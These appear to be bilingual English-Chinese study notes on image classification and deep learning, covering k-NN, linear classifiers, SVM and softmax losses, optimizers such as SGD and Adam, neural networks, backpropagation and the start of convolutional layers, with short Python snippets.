# use a particular value of k and evaluation on validation data
nn = NearestNeighbor()
nn.train(Xtr_rows, Ytr)
# here we assume a modified NearestNeighbor class that can take a k as input
Yval_predict = nn.predict(Xval_rows, k = k)
acc = np.mean(Yval_predict == Yval)
print 'accuracy: %f' % (acc,)
# keep track of what works on the validation set
validation_accuracies.append((k, acc))
- Cross-validation: Split the data into folds, and average the performance across folds.
Useful for small datasets, but (unfortunately) not used too frequently in deep learning
Pros and Cons of K-NN¶
- Pros: Simple to understand, fast to train, easy to add more data.
- Cons: Slow to predict, not good for high-dimensional data, sensitive to irrelevant features.
The Nearest Neighbor Classifier may sometimes be a good choice in some settings (especially if the data is low-dimensional), but it is rarely appropriate for use in practical image classification settings.
One problem is that images are high-dimensional objects (i.e. they often contain many pixels), and distances over high-dimensional spaces can be very counter-intuitive. The image below illustrates the point that the pixel-based L2 similarities we developed above are very different from perceptual similarities:
高维数据(尤其是图像)的基于像素的距离可能非常不直观。已张原始图像(左)和旁边的其他三张图像,根据 L2 像素距离,它们都与它相距相等。显然,像素距离根本不对应于感知或语义相似性。
One more Example:
可以使用一种称为 t-SNE 的可视化技术来获取 CIFAR-10 图像并将它们嵌入到二维空间中,以便最好地保留它们的(局部)成对距离。在此可视化中,根据我们上面的 L2 像素距离,附近显示的图像被视为非常近:
CIFAR-10 images embedded in two dimensions with t-SNE. Images that are nearby on this image are considered to be close based on the L2 pixel distance. Notice the strong effect of background rather than semantic class differences. Click here for a bigger version of this visualization.
在以上的方法中,训练时间很短,但是预测时间很长,因为每次预测都需要计算所有的训练数据。而在实际应用中,我们期望的是即使训练时间长,也要预测时间短的模型。
linear classifier¶
约 2530 个字 6 行代码 10 张图片 预计阅读时间 9 分钟
Format of the score function¶
Define a score function \(f: \mathbb{R}^D \rightarrow \mathbb{R}^K\):
where \(W\) is a matrix of weights of size \(K \times D\) and \(b\) is a vector of biases of size \(K\).
\(x_i\) is the input data, a column vector of size \(D \times 1\),in our CIFAR-10 example, \(D = 32 \times 32 \times 3 = 3072\).
and \(f\) is a function that maps the raw image pixels to class scores. output \(f(x_i, W, b)\) is a vector of size \(K \times 1\).\(K\) is the number of classes.In our CIFAR-10 example, \(K = 10\).
-
ote that the single matrix multiplication \(Wx_i\) is effectively evaluating 10 separate classifiers in parallel (one for each class), where each classifier is a row of \(W\).
-
Notice also that we think of the input data \((x_i,y_i)\) as given and fixed, but we have control over the setting of the parameters \(W,b\). Our goal will be to set these in such way that the computed scores match the ground truth labels across the whole training set. we wish that the correct class has a score that is higher than the scores of incorrect classes.
-
An advantage of this approach is that the training data is used to learn the parameters W,b, but once the learning is complete we can discard the entire training set and only keep the learned parameters. That is because a new test image can be simply forwarded through the function and classified based on the computed scores.
An according to the linearity of the score function,if we ignore the bias term \(b\):
Explanaition¶
For example, for a single pixel, which has three channels, the weight matrix is \(K \times 3\), and each of the three positions in a row can be used to represent the class "dislike or like" a certain color by setting the weight positive or negative. For example, for a ship, the blue weight may be larger, while for a plane, the red weight may be larger.
An example of mapping an image to class scores. For the sake of visualization, we assume the image only has 4 pixels (4 monochrome pixels, we are not considering color channels in this example for brevity), and that we have 3 classes (red (cat), green (dog), blue (ship) class). (Clarification: in particular, the colors here simply indicate 3 classes and are not related to the RGB channels.) We stretch the image pixels into a column and perform matrix multiplication to get the scores for each class. Note that this particular set of weights W is not good at all: the weights assign our cat image a very low cat score. In particular, this set of weights seems convinced that it's looking at a dog.
Note
对于上面所示的例子,我们也可以将偏移量接到\(W\)的最后一列,这样只需要将输入数据的最后一行设置为1,就可以将偏移量视为权重的一部分。
Hyperplane¶
Assume that each images(represented by a column vector) is a point in a \(D\)-dimensional space, and the hole dataset is a set of points in that space. The score function \(f(x_i, W, b)\) is a linear function of the input data \(x_i\), which means that the classes are separated by linear hyperplanes.
We cannot visualize 3072-dimensional spaces, but if we imagine squashing all those dimensions into only two dimensions, then we can try to visualize what the classifier might be doing:
using Hyperplane to separate the classes into different regions.
Cartoon representation of the image space, where each image is a single point, and three classifiers are visualized. Using the example of the car classifier (in red), the red line shows all points in the space that get a score of zero for the car class. The red arrow shows the direction of increase, so all points to the right of the red line have positive (and linearly increasing) scores, and all points to the left have a negative (and linearly decreasing) scores.
As we saw above, every row of \(W\) is a classifier for one of the classes. The geometric interpretation of these numbers is that as we change one of the rows of \(W\), the corresponding line in the pixel space will rotate in different directions. The biases \(b\) , on the other hand, allow our classifiers to translate the lines. In particular, note that without the bias terms, plugging in \(x_i=0\) would always give score of zero regardless of the weights, so all lines would be forced to cross the origin.
偏移量的存在使得我们的分类器可以在空间中平移,而不仅仅是旋转。
But sometimes it is hard to find a hyperplane to separate the classes:
and that is the reason whyb Perceptron couldn’t learn XOR function.
We cannot separate the "Blue" and "Green" classes with a single line.
template¶
If we think of the weights as a template for each of the classes:
At first we represent each image into a column vector,we can also represent each column vector in the weight matrix as a template for each class.Just like the figure below.
then the score function is computing how well each template matches the image. The score for each class is obtained
Here we calculate the inner product as
因为之前就是按照一行乘一列来计算内积,这里只不过是更改了表示方式,所以计算方式是对应位置相乘再相加,而不是矩阵乘法,这就是上面的图中的计算方式。
图像预处理
在实际应用中,通常会对图像进行预处理,例如减去均值,除以方差等,例如从图像中减去均值图像,将像素值从[0,255]变成大概是[-127,127],然后进一步处理变成[-1,1]等……
Loss function¶
We are going to measure our unhappiness with outcomes with a loss function (or sometimes also referred to as the cost function or the objective). Intuitively, the loss will be high if we’re doing a poor job of classifying the training data, and it will be low if we’re doing well.
Multiclass Support Vector Machine loss¶
The Multiclass Support Vector Machine(SVM) loss is set up so that the SVM “wants” the correct class for each image to have a score higher than the incorrect classes by some fixed margin \(\Delta\).
It looks for certain outcome in the sence that the outcome will yield a lower loss.
The loss function for the \(i\)-th example is:
where \(s_{y_i}\) is the score of the correct class(\(f(x_i,W)\)) and \(s_j\) is the score of the j-th class(\(f(x_i,W)\)).
For example,if \(\Delta = 1\),and the score of the correct class is 13,then any score below 12 will contribute 0 to the loss.Any score above 12 will contribute to the loss.
Hinge loss¶
The threshold at zero \(max(0,-)\) function is called the hinge loss. It is a piecewise linear function that behaves like the following:
The Multiclass Support Vector Machine "wants" the score of the correct class to be higher than all other scores by at least a margin of delta. If any class has a score inside the red region (or higher), then there will be accumulated loss. Otherwise the loss will be zero. Our objective will be to find the weights that will simultaneously satisfy this constraint for all examples in the training data and give a total loss that is as low as possible.
Example
Here shows the score of three classes for each input image(cat,car.frog)
Assume \(\Delta=1\) the loss for the cat input image is:
Neglect the score of the correct class(cat),the loss \(L_1\) is:
Similarly, the loss for the car input image is:
The loss for the frog input image is:
This claims that the weight matrix acts good on the car image, but not such good the cat, bad on the frog.
Finaly the total loss on the data set is the average of all the losses:
Question
-
Q: What happens to the loss if the scores for the car image change a bit
-
A: Once the score for car image is 0,it will not change at all if the score for the cat image changes a bit.
-
Q: What are the min and max possible loss?
-
A: The min loss is 0, and the max loss is \(\infty\).
-
Q: If all the scores were random, what loss would we expect
-
A: The total loss would be \(K-1\), where \(K\) is the number of classes.This is because if all the scores are random,it can be regard as a Gauss distribution, \(s_i\) and \(s_j\) will be close to each other, so the loss will be near to \(1\),so it will be \(K-1\) for each class
-
Q: What would happen if the sum were over all classes? (including the correct class)
-
A: All of loss will add 1.
-
Q:What if the loss used a mean instead of a sum
-
A: It still works, since dividing by a constant doesn't change the optimization landscape.
-
Q: What if we used this loss instead?
- A: It still works, since squaring doesn't change the optimization landscape.But it changes the preference of the model.
Softmax classifier¶
Another common loss function is the Softmax classifdier. It has the form:
or
the function \(f_j(z)=\dfrac{e^{z_j}}{\sum_{k} e^{z_k}}\) is called the softmax function. It takes a vector of arbitrary real-valued scores (in \(z\)) and squashes it to a vector of values between zero and one that sum to one.
应用这个函数将原始的分数转换为概率;期望的情况是,正确的类别的概率应该接近1,而错误的类别的概率应该接近0。
The cross-entropy between a “true” distribution \(p\) and an estimated distribution \(q\) is defined as:
The Softmax classifier is hence minimizing the cross-entropy between the estimated class probabilities(i.e. the output of the Softmax function)and the “true” distribution, which in this interpretation is the distribution where all probability mass is on the correct class (i.e. \(p=[0,0,...1,...,0]\) contains a single 1 at the \(y_i\)-th position).
and since the cross-entropy can be written in terms of entropy and the Kullback-Leibler divergence as \(H(p,q) = H(p) + D_{KL}(p||q)\), we see that the Softmax classifier is exactly minimizing the KL divergence between the estimated class probabilities and the true distribution.
i.e the cross-entropy objective wants the predicted distribution to have all of its mass on the correct answer.
When using softmax classifier, because of:
We are free to choose the value of \(C\). This will not change any of the results, but we can use this value to improve the numerical stability of the computation. A common choice for \(C\) is to set \(\logC=−max_jf_j\). This simply states that we should shift the values inside the vector \(f\) so that the highest value is zero. In code:
f = np.array([123, 456, 789]) # example with 3 classes and each having large scores
p = np.exp(f) / np.sum(np.exp(f)) # Bad: Numeric problem, potential blowup
# instead: first shift the values of f so that the highest number is 0:
f -= np.max(f) # f becomes [-666, -333, 0]
p = np.exp(f) / np.sum(np.exp(f)) # safe to do, gives the correct answer
Question
- Q: what is the min and max possible loss?
-
A: The min loss is 0, and the max loss is \(\infty\).But the two bounds could never be reached.
-
Q: What is the difference between the SVM loss and the Softmax loss?
-
A: The SVM loss is a hinge loss, while the Softmax loss is a cross-entropy loss. The SVM loss is a bit more robust to outliers, while the Softmax loss is more informative and can drive the model to be more confident in its predictions.
Regularization¶
In practice, we also add a regularization term to the loss function to prevent overfitting. The most common regularization is the L2 regularization, which has the form:
or L1 regularization:
or Elastic Net regularization:
We add the regularization term to the loss function in order to prevent overfitting. The regularization strength \(\lambda\) is a hyperparameter that we tune using the validation set.
Overfitting is a common problem in machine learning, where a model performs well on the training data but poorly on the test data. Regularization is a technique used to prevent overfitting by adding a penalty term to the loss function that discourages large weights.
so the final loss function is:
where \(N\) is the number of training examples, \(L_i\) is the loss for the \(i\)-th example, and \(R(W)\) is the regularization term.
It also help us to choose different weight matrix when there are multiple solutions that causes the same loss.
Such as the following example:
image: [1.0, 1.0, 1.0]
\(W_1\): [1.0, 0.0, 0.0]
\(W_2\): [0.25,0.25, 0.25]
the score of the two weight matrix is the same, but if we use L2 regularization, the \(W_1\) will cause higher loss than \(W_2\). So we will choose \(W_2\).
Optimization¶
约 1702 个字 60 行代码 10 张图片 预计阅读时间 7 分钟
Quote
对于矩阵求导的知识,可以参考矩阵求导
For linear classifiers, we need to find the best weight matrix \(W\) to separate the data.
A simple idea is to find such a \(W^*\) that satisfies the following equation:
where \(L(W)\) is the loss function.
Now our goal is similar to the following case:
A blind man on the top of a hill, looking for the lowest point.
Random Search¶
The first idea is to try random search,we loop through the parameter space and find the best \(W\) that minimizes the loss function.
bestloss = float('inf') # Python assigns the highest possible float value
for num in range(1000):
W = np.random.rand(10, 3073) * 0.0001 # generate random parameters
loss = L(X_train, Y_train, W) # get the loss over the entire training set
if loss < bestloss: # keep track of the best solution
bestloss = loss
bestW = W
print('in attempt %d the loss was %f, best %f' % (num, loss, bestloss))
This is a simple idea that gets nearly 15.5% accuracy.(the best accuracy is ~95%)
Follow the slope¶
Although the man on the hill is blind, he can feel the slope near him using his foot or stick.And follow the slope to find the lowest point.This is kind of local search.
In 1-D case, the slope is the derivative of the loss function.
And in multi-dimensional case, the gradient is the vector of partial derivatives along each dimension.
The slope in any direction is the dot product of the direction with the gradient The direction of steepest descent is the negative gradient (方向导数)
When computing Gradients,we have the following methods:
- Numerical Gradient
- Analytical Gradient
Numerical Gradient¶
Numerical Gradient is a technique used to approximate the gradient of a function through numerical methods. It is particularly useful in optimization problems in computer science and machine learning when the analytical gradient is not readily available.
The basic idea of the numerical gradient is to use finite differences to estimate the gradient of a function at a point. Specifically, for a function \( f \) and a point \( x \), the numerical gradient can be calculated using the following formula:
where:
- \( h \) is a very small number, often referred to as the step size.
- \( e_i \) is a unit vector with 1 at the \( i \)-th position and 0 elsewhere.
This method allows us to compute the partial derivatives for each dimension, resulting in the gradient vector at that point.
The advantage of numerical gradient is its simplicity and ease of implementation, as it does not require the analytical form of the function. However, it can be computationally expensive, especially in high-dimensional spaces, and may introduce numerical errors due to the approximation.
An example of numerical gradient is:
Analytical Gradient¶
Analytical Gradient is a technique for directly computing the gradient of a function using analytical methods. Unlike numerical gradient, analytical gradient relies on the mathematical expression of the function and uses differentiation rules to obtain the gradient.
For a function \( f \), the analytical gradient at a point \( x \) is obtained by computing the partial derivatives of the function. For a multi-dimensional function, the analytical gradient is a vector composed of the partial derivatives with respect to each variable:
The advantages of analytical gradient include:
- Accuracy: Since it is computed using analytical methods, there is no numerical error.
- Efficiency: In many cases, computing the analytical gradient is faster than the numerical gradient, especially in high-dimensional spaces.
However, calculating the analytical gradient requires a clear mathematical expression of the function, and for some complex functions, differentiation can become very complicated. In such cases, numerical gradient might be a simpler alternative.
Advice
in practice, Always use analytic gradient, but check implementation with numerical gradient. This is called a gradient check.
in the torch library, we can use torch.autograd to compute the gradient.
torch.autograd.gradcheck and torch.autograd.gradgradcheck are two functions that can be used to check the gradient.
So follow the slop,we use Gradient Descent(梯度下降) to update the parameters.
w = initialize_weights()
for i in range(num_iterations):
dw = compute_gradient(loss_fn,data,w)
w -= learning_rate * dw
The Hyperparameter are:
- initialize function
- number of iterations
- learning rate
SGD¶
Stochastic Gradient Descent(SGD) is a variant of Gradient Descent that updates the parameters using a single sample at a time.Because the full gradient is too expensive to compute when we have a large dataset.
w = initialize_weights()
for t in range(num_iterations):
minibatch = sample_data(data, batch_size)
dw = compute_gradient(loss_fn, minibatch, w)
w -= learning_rate * dw
We Think of loss as an expectation over the full data distribution \(p_{data}\)
Approximate expectation via sampling
and
Probelms with SGD¶
Oscillation¶
What if loss changes quickly in one direction and slowly in another? What does gradient descent do?
Very slow progress along shallow direction, jitter along steep direction
Because when we update the parameters, we simply follow the gradient, so if the gradient is small, the update will be small,cause it stays almost the same.But if the gradient is large, the update will be large,cause it changes too much, may cross the valley and go up,so will oscillate.
Saddle Point¶
What if the loss function has a local minimum or saddle point?
Local minimum: gradient is 0, can't move,达到了局部最优
SGD+Momentum¶
To escape from local minima, we introduce momentum, which gives gradient descent a certain amount of inertia. This allows it to continue moving even when the gradient is zero, similar to how a ball rolling down a hill continues to move even when it reaches the bottom.
In SGD:
In SGD+Momentum:
- Build up "velocity" as a running mean of gradients
- Rho gives "friction"; typically \(\rho=0.9\) or \(0.99\)
v = 0
rho = 0.9
for t in range(num_steps):
dw = compute_gradient(w)
v = rho * v + dwb
w -= learning_rate * v
Nesterov Momentum¶
Nesterov Momentum is a variant of Momentum that uses the gradient at the next point to update the parameters.
But this format is a little bit annoying, so we can rewrite it as:
v = 0
rho = 0.9
for t in range(num_steps):
dw = compute_gradient(w)
old_v = v
v = rho * v - learning_rate * dw
w = w + (1 + rho) * v - rho * old_v
AdaGrad¶
Added element-wise scaling of the gradient based on the historical sum of squares in each dimension.
grad_squared = 0
for t in range(num_steps):
dw = compute_gradient(w)
grad_squared += dw * dw
w -= learning_rate * dw / (np.sqrt(grad_squared) + 1e-7)
by doing this, when we meet a large gradient, the learning rate will be small, and when we meet a small gradient, the learning rate will be larger.
But it still has a problem, the grad_squared will always increase, so the learning rate will become smaller and smaller, and finally become near 0.
So we can use the following method to fix it:
RMSProp¶
grad_squared = 0
for t in range(num_steps):
dw = compute_gradient(w)
grad_squared = decay_rate * grad_squared + (1 - decay_rate) * dw * dw
w -= learning_rate * dw / (np.sqrt(grad_squared) + 1e-7)
Adam¶
Adam is a variant of RMSProp that uses the momentum and the gradient at the current point to update the parameters.
moment1 = 0
moment2 = 0
for t in range(1, num_steps + 1): # Start at t = 1
dw = compute_gradient(w)
moment1 = beta1 * moment1 + (1 - beta1) * dw
moment2 = beta2 * moment2 + (1 - beta2) * dw * dw
w -= learning_rate * moment1 / (np.sqrt(moment2) + 1e-7)
This has a problem too,when at t=1,assume beta2=0.999,then the moment2 will be very small,so the learning rate will be very large
So we can use the following method(Bias Correction) to fix it:
for t in range(1, num_steps + 1): # Start at t = 1
dw = compute_gradient(w)
moment1 = beta1 * moment1 + (1 - beta1) * dw #Momentum
moment2 = beta2 * moment2 + (1 - beta2) * dw * dw #RMSProp
moment1_unbias = moment1 / (1 - beta1 ** t) #Bias Correction
moment2_unbias = moment2 / (1 - beta2 ** t) #Bias Correction
w -= learning_rate * moment1_unbias / (np.sqrt(moment2_unbias) + 1e-7)
Comparison of Optimization Algorithms¶
| Algorithm | Tracks first moments (Momentum) | Tracks second moments (Adaptive learning rates) | Leaky second moments | Bias correction for moment estimates |
|---|---|---|---|---|
| SGD | ❌ | ❌ | ❌ | ❌ |
| SGD+Momentum | ✔️ | ❌ | ❌ | ❌ |
| Nesterov | ✔️ | ❌ | ❌ | ❌ |
| AdaGrad | ❌ | ✔️ | ❌ | ❌ |
| RMSProp | ❌ | ✔️ | ✔️ | ❌ |
| Adam | ✔️ | ✔️ | ✔️ | ✔️ |
L2 Regularization vs Weight Decay¶
L2 Regularization and Weight Decay have some differences in their application within optimization algorithms:
L2 Regularization¶
- Objective Function: \( L(w) = L_{\text{data}}(w) + \lambda |w|^2 \)
- Here, \(\lambda |w|^2\) is the regularization term used to prevent overfitting.
- Gradient Calculation: \( g_t = \nabla L(w_t) = \nabla L_{\text{data}}(w_t) + 2\lambda w_t \)
- The gradient includes the effect of the regularization term.
- Update Step: \( w_{t+1} = w_t - \alpha s_t \)
- Here, \( s_t \) is the update amount calculated by the optimizer.
Weight Decay¶
- Objective Function: \( L(w) = L_{\text{data}}(w) \)
- There is no explicit regularization term.
- Gradient Calculation: \( g_t = \nabla L(w_t) \)
- Only the gradient of the data loss is calculated.
-
Update Step: \( w_{t+1} = w_t - \alpha s_t + 2\lambda w_t \)
- The weight decay term is directly subtracted in the update step.
-
\( s_t \) represents the update amount calculated by the optimizer based on the current gradient \( g_t \). It varies depending on the optimization algorithm:
- SGD: \( s_t = g_t \)
- SGD+Momentum: \( s_t \) includes a momentum term
- Adam: \( s_t \) includes both momentum and adaptive learning rate adjustments
Key Differences¶
- Equivalence: For SGD and SGD+Momentum, L2 Regularization and Weight Decay are equivalent, so they are often used interchangeably.
- Differences: For adaptive methods (such as AdaGrad, RMSProp, Adam, etc.), they are not equivalent. In adaptive methods, weight decay directly affects the update step, while L2 regularization affects the gradient calculation.
When using adaptive optimization algorithms, careful selection of the regularization strategy is necessary.
Second order optimization¶
Upon using first other optimization,we can also use the second order optimization
- Use gradient and Hessian to make quadratic qpproximation
- Step to minimize the approximation
For those who are steep,the step will be smaller,and for those who are flat,the step will be larger.
Second-Order Taylor Expansion:
Solving for the critical point we obtain the Newton parameter update:
Neural Networks¶
约 1595 个字 20 张图片 预计阅读时间 6 分钟
Feature Transforms¶
On the geometric viewpoint of linear classifiers, we can see that the classifier is a hyperplane in the feature space.While this may not be useful in the following cases:
One solution is to use feature transforms to map the data to a higher dimensional space.For example, we can use the following feature transform to convert cartesian coordinates to polar coordinates:
where \(r = \sqrt{x^2 + y^2}\) and \(\theta = \tan^{-1}(y/x)\). and \(x,y\) are the original features.This is a non-linear transform.
And we get the following result:
Now we can use a linear classifier to classify the data in the transformed space.
For image feature, there are two major features transformed from the original image:
- Color Histogram
- Histogram of Oriented Gradients (HOG)
Color Histogram¶
A color histogram is a representation of the distribution of colors in an image. It is used to describe the color content of an image and is a common feature in image processing and computer vision. Here's how it works:
-
Color Space: The image is represented in a specific color space, such as RGB (Red, Green, Blue) or HSV (Hue, Saturation, Value).
-
Quantization: The color space is divided into discrete bins. For example, in an 8-bit RGB image, each color channel can have 256 possible values, but these can be grouped into fewer bins to simplify the histogram.
-
Counting: For each pixel in the image, the color is determined and the corresponding bin in the histogram is incremented. This results in a histogram where each bin represents the number of pixels in the image that have colors within a certain range.
-
Normalization: The histogram can be normalized to make it independent of the image size, allowing for comparison between images of different sizes.
Color histograms are useful for applications such as image retrieval, object recognition, and image classification, as they provide a compact summary of the color information in an image.
An example of color histogram is shown below:
Histogram of Oriented Gradients (HOG)¶
The Histogram of Oriented Gradients (HOG) is a feature descriptor used in computer vision and image processing for the purpose of object detection. It is widely used in the field of object detection, such as pedestrian detection in computer vision systems.And it is some kind of dual of color histogram.
The HOG descriptor is based on the observation that local object appearance and shape can often be characterized effectively by the distribution of local intensity gradients or edge directions in a local region around each pixel.
The steps to compute the HOG descriptor are as follows:
-
Gradient Calculation: Compute the gradient of the image in the x and y directions.
-
Orientation Binning: Divide the gradient magnitude and orientation into a set of bins.
-
Block Normalization: Normalize the histogram of local gradients in each block.
-
Feature Vector: Concatenate the histogram of local gradients in all blocks to form the HOG descriptor.
The HOG descriptor is then used as input to a machine learning algorithm, such as Support Vector Machine (SVM), to train a classifier for object detection.
An example of HOG is shown below:
Bag of Words¶
The Bag of Words (BoW) model is a feature extraction technique commonly used in computer vision and natural language processing. In computer vision, it's often called "Bag of Visual Words" and is used to represent images as collections of visual features.
It is data driven,and usually has following steps:
-
Build code book : Extract random patches from training images,and cluster them into 'visual words' aka 'code words'.
-
Encode images : For each image,extract local features,and assign each feature to its nearest visual word.
- Build histogram : Count how many features were assigned to each visual word.
An example of the BoW process is shown below:
In real applications,we usually combine the 3 Image Features to get a better performance.
Neural Networks¶
Neural Networks are end-to-end,and can learn features from raw data.
In the context of machine learning, "end-to-end" refers to a system's ability to learn directly from input data to output results without intermediate manual feature extraction or other human intervention. This term is usually associated with neural networks, particularly deep learning models, rather than traditional Image Features methods.
- Automatic Feature Learning: Neural networks can automatically learn features from raw data without manual feature extraction steps, making the entire process from input to output a continuous learning process.
- Direct Mapping: In end-to-end systems, the model directly maps input data (e.g., images) to output results (e.g., classification labels) without requiring manual feature engineering.
- Unified Framework: The entire model is trained under a unified framework, with the loss function directly affecting the final output, guiding the parameter updates throughout the network.
In contrast, traditional Image Features methods typically require manual feature extraction before feeding these features into a separate machine learning algorithm for training and prediction, which is not considered "end-to-end."
Neural Network Architecture¶
In a Linear Classifier,we have:
Now in a 2-layer Neural Network,we have:
where \(\sigma\) is the activation function.Here we use ReLU as the activation function.Which is defined as:
\(h_i=\sigma(W1_i^Tx+b1_i)\),\(s_i=W2_i^Th+b2_i\),in this case \(W1(100*3072)\) and \(W2(10*100)\) are the weights,and \(b1(100)\) and \(b2(10)\) are the biases.h is the hidden layer,and s is the output layer.
Deep Neural Network
A Deep Neural Network (DNN) is a type of neural network that consists of multiple layers of neurons, allowing it to learn more complex patterns and relationships in the data.
If there are \(n\) weight matrices,then we call it a \(n\)-layer Neural Network.
与生物学上的神经元类似,图中隐藏层的一个元素是其它神经元的输出累加的结果,这里的w并不是指矩阵中的元素w,而是指与其连接的神经元对应的权重。例如这里的第二个元素是\(h_2=w_{21}x_1+w_{22}x_2+w_{23}x_3+b_2\)。
Activation Function¶
Without the activation function,the output is still a linear combination of the inputs.Which will still not be useful when dealing with complex problems,such as the xor problem.
But with the activation function,we can do some Space Warping,which is something that feature transform cannot do, to make the data more separable.
For example
But with the activation function
对于A区域,在两条直线上方,不变,对于B区域,在绿色直线下方,其得到的值为0,向绿色部分靠拢,对于D区域,在红色直线下方,其得到的值为0,向红色部分靠拢。对于C区域,在两条直线之间,向原点靠拢,所以最后的结果很容易被一个Hyperplane分开。
激活函数做的事相当于允许这个Hyperplane在空间中折叠,激活函数越多,折叠越多,可以拟合的函数越复杂。
Universal Approximation¶
A neural network with one hidden layer can approximate any function \(f: \mathbb{R}^N \rightarrow \mathbb{R}^M\) with arbitrary precision.
Output is a sum of shifted, scaled ReLUs:
- Flip left/right based on sign of \( w_i \)
- Slope is given by \( u_i \cdot w_i \)
- Position of "bend" given by \( b_i \)
To approximate a "bump" function",we can use a two-layer ReLU network.
For any function,we can use sufficient number of "Bump" function to approximate it.
Convex Function¶
A function \(f\) is convex if for any \(x,y\) in the domain of \(f\),the following inequality holds:
This inequality is also called the Jensen's inequality.
Generally speaking, convex functions are easy to optimize: can derive theoretical guarantees about converging to global minimum.
Linear classifiers optimize a convex loss function.
In Neural Networks,most of them need nonconvex optimization ,there is few or no guarantees to converge to the global minimum.
But luckily,for most of the cases,the local minimum is also good,and finding a theoretical guarantee is a active research area.
Backpropagation¶
约 1515 个字 19 行代码 12 张图片 预计阅读时间 5 分钟
Backprop with scalars¶
Computational Graphs¶
In order to make the process of computing gradients more efficient, we can use computational graphs,a way to represent the computation of a function.
In a computational graph, to compute the gradient of the function by backpropagation, we can use the chain rule.
There is two passes:
- Forward pass: Compute the value of the function.
- Backward pass: Compute the gradient of the function.
where \(\frac{\partial z}{\partial y}\) is called the upstream gradient, and \(\frac{\partial y}{\partial x}\) is the local gradient,and \(\frac{\partial z}{\partial x}\) is the downstream gradient.
for the common functions, such as sigmoid, ReLU, etc, we can compute the local gradient easily.And pack them into the computational graph instead of computing them step by step.
Patterns in Gradient flow¶
Add gate¶
An add gate is a gradient distribution gate.
For example,\(f(x,y)=x+y\), the gradient of \(f\) with respect to \(x\) and \(y\) is \(\frac{\partial f}{\partial x}=1\) and \(\frac{\partial f}{\partial y}=1\) . So whatever the upstream gradient is, it will be distributed to the two inputs.
Copy gate¶
A copy gate is a gradient addition gate,somehow a dual of the add gate.
For example,if we have a function \(z=f(x,y)\),and \(x=y=t\),
then
where the local stream \(\frac{\partial x}{\partial t}\) and \(\frac{\partial y}{\partial t}\) is \(1\).
Multiply gate¶
A multiply gate is a gradient swap gate.
For example,if we have a function \(z=xy\),
we know that \(\frac{\partial z}{\partial x}=y\) and \(\frac{\partial z}{\partial y}=x\),
so if we have an upstream gradient \(\frac{\partial L}{\partial z}=2\),
then the downstream gradient of \(x\) and \(y\) are \(\frac{\partial L}{\partial x}=2y\) and \(\frac{\partial L}{\partial y}=2x\).
Coding format¶
when we write the code, we follow the following steps:
- store every intermediate value in the forward pass.
- compute the gradient of the loss with respect to every variable in the backward pass.
For example,if we have a function as following:
the code would be written as:
def f(w0,x0,w1,x1,w2):
s0=w0*x0
s1=w1*x1
s2=s0+s1
s3=s2+w2
L=sigmoid(s3)
grad_L=1.0
grad_s3=sigmoid_grad(L)*grad_L
grad_w2=grad_s3# add gate distributes the gradient
grad_s2=grad_s3
grad_s0=grad_s2
grad_s1=grad_s2
grad_w1=grad_s1*x1# multiply gate swaps the gradient
grad_x1=grad_s1*w1
grad_w0=grad_s0*x0
grad_x0=grad_s0*w0
return L,grad_w0,grad_x0,grad_w1,grad_x1,grad_w2
Backprop with vectors and matrices¶
Backprop with vectors¶
\(x \in \mathbb{R},y \in \mathbb{R}\)
\(x \in \mathbb{R}^n,y \in \mathbb{R}\)
\(x \in \mathbb{R}^n,y \in \mathbb{R}^m\)
for example,\(\mathbf{x}=(x_1,x_2,x_3)\),\(\mathbf{y}=(y_1,y_2)\)
the Jacobian matrix is \(3 \times 2\) matrix.
Note
其实在数学上,如果\(y\)是\(m\)维,\(x\)是\(n\)维,那么传统的Jacobian 矩阵的形状经常写为 \(\frac{\partial y}{\partial x} \in \mathbb{R}^{m \times n}\)的。但是在这里,由于反向传播的链式法则的写法是
而不是传统的
在一维的情况下,由于乘法可以交换,所以两种写法是等价的。但是在多维的情况下,要想反转这种顺序,就需要给矩阵加上转置。
所以我们把Jacobian 矩阵的形状写为 \(\frac{\partial y}{\partial x} \in \mathbb{R}^{n \times m}\)的。
记忆Jacobian形状也根据链式法则的写法来记忆,即如果是第一种\(\frac{\partial L}{\partial x} = \frac{\partial L}{\partial x}\frac{\partial L}{\partial L}\),所以是L的形状在后面,
如果是第二种\(\frac{\partial L}{\partial x} = \frac{\partial L}{\partial x}\frac{\partial x}{\partial x}\),所以是x的形状在后面。
Eg
for the ReLU function, if we have a 4D input \(x=(1,-2,3,-1)\),
the output is \(y=(1,0,3,0)\).
the Jacobian matrix is
the upstream gradient is \(\frac{\partial L}{\partial y}=(4,-1,5,9)\),
so the downstream gradient is
we can see that the jacobian matrix is a sparse matrix, which is a good property for computing by human but not for computer,if we want to compute high dimensional input, the Jacobian matrix will be too large to handle.
so it is important to come up with some tricks to make the computation more efficient.
For the ReLU function, we can use the following trick:
and we can get the downstream gradient directly from the upstream gradient, without computing the Jacobian matrix.
Backprop with matrices¶
or tensors
when we compute backprop with matrices,the jacobian matrix is a 4D tensor,which is very hard to handle.so we need to use some tricks to make the computation more efficient.
One simple way is to compute the gradient element-wise.
\(\frac{d y}{d x_{11}}\) is a 2D matrix,
So
Note
这里进行的是inner product,而不是矩阵乘法。即两个矩阵对应元素相乘后的结果。可以类比2维矩阵相乘的时候,结果矩阵的第i行第j列的元素是两个矩阵的第i行和第j列的内积。
那么对于\([(D_x \times D_y) \times (D_z \times M_z)]\)的张量与\([D_z \times M_z]\)的矩阵进行乘法的时候,结果张量的形状是\([D_x \times D_y]\)的,其第i行第j列的元素是第一个张量第ij位置的矩阵与第二个矩阵的乘积。
Similarly
\(\frac{d y}{d x_{ij}}\) is a 2D matrix,where the i-th row is the j-row of \(W\) other rows are all zero.
And we can get the downstream gradient directly from the upstream gradient and the matrix \(W\) with:
it seems a little bit confusing,but
$ \frac{d L}{d x} \in \mathbb{R}^{N \times D}$
$ \frac{d L}{d y} \in \mathbb{R}^{N \times M}$
$ W \in \mathbb{R}^{D \times M}$
SO this format is the only way to make the matrix multiplication work.
Warning
这不是反向传播的一种形式,而是一种用于计算的推论
We can also use the backprop to compute the hige-order derivatives.
Convolutional Neural Networks¶
约 2122 个字 16 张图片 预计阅读时间 7 分钟
Convolution Layer¶
Neither Linearclassifier nor the two dimensional nenueral network respect the spatial structure on images!
they convert the 3x32x32 image into a 3072x1 vector.Stretch pixels into column.
A convolutional layer applies a set of filters to the input image.
single filter¶
对于一个3x32x32的图像,如果使用1个3x5x5的filter,对于每一个位置,会进行一个3x5x5=75的两个张量的内积运算再加上一个bias,然后得到一个值。对应到输出图像的一个位置。所以输出维度是1x28x28。
multiple filters¶
